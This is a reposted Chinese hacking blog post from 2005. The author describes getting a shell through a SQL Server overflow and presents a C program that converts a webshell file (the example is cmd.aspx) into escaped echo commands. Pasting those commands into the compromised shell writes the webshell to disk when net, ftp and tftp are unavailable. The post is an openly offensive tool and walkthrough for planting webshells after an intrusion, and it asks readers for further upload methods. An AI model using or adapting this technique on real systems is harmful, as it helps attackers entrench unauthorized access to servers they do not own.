|
|
一个echo文件的程序 [转载] |
|
|
作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站 |
上次用sqlhello溢出时拿到一个shell,试了试at,可以执行,看来是管理员权限,可是却不能用net、ftp、tftp命令。晕,那偶怎么上传文件? 呵呵,还好,难不到我。就将就那个shell在命令行下面echo一个webshell上去,然后再做打算。 虽然只echo了一个几行的小程序,但是累死了,所以我就用C写了一个程序,以备下回遇到。 原理很简单啦,就是在每一行代码前加“echo ”,后面加“ >> echofile.txt”,注意要在特殊符号(<、>、&、|、"、^)前加^
代码如下: #include "stdio.h" #include <process.h> #include <string.h> void echo(char so[30] ,char sa[30]) { FILE *fp1,*fp2; char ch; if((fp1=fopen(so,"r"))==NULL){printf("Don't open file %s\n",so);exit(0);} //打开要echo的文件 if((fp2=fopen("echofile.txt","w"))==NULL){printf("Don't creat file \n");exit(0);} //生成结果文件echofile.txt fputs("echo ",fp2); ch=fgetc(fp1); while(!feof(fp1)) //从echo文件依次读取一个字节 { if(ch=='^'||ch=='<'||ch=='>'||ch=='&'||ch=='|'||ch=='"') //处理特殊符号(即在之前加“^”) { fputc('^',fp2); fputc(ch,fp2); } else if(ch=='\n') //若成立,则到了一行末;末尾加上重定向语句“>> XXX” { fputs(" >> ",fp2); fputs(sa,fp2); fputs("\n",fp2); fputs("echo ",fp2); } else //其它情况就直接把字符放到结果文件 { fputc(ch,fp2); } ch=fgetc(fp1); } fclose(fp1); fclose(fp2);
printf("Done!\n"); } int main(int argc, char* argv[]) { if(argc!=3) { printf("\n--------------------------------------------------------------------\n"); printf("| Echo File , by lake2 (http://mrhupo.126.com) 2004/10/09 |\n"); printf("--------------------------------------------------------------------\n"); printf("-I will write a file to echo-file lake2.txt :)\n"); printf("-Usage:\n"); printf("%s <SourseFile> <EchoSaveFile>\n",argv[0]); printf("-Examples: \n%s cmd.aspx cmd.txt\n",argv[0]); return 0; } echo(argv[1],argv[2]); return 0; }
参数有两个,就是shell文件名和要生成的文件名,程序将生成echofile.txt这个文件,里面包含了要echo的文件所要输入的所有命令(呵呵,有时最后一行会多一个echo,不过没关系的^_^)。
现在就可以一行一行的复制了?呵呵,当然不。直接复制所有内容粘到shell就是了。命令行下有回车符它会自动执行前面的命令。呵呵,赶快去看看,webshell是不是生成了^_^
另外问一下,在这种情况下,还有没有别的上传文件的方法?
|
|
相关文章:相关软件: |
|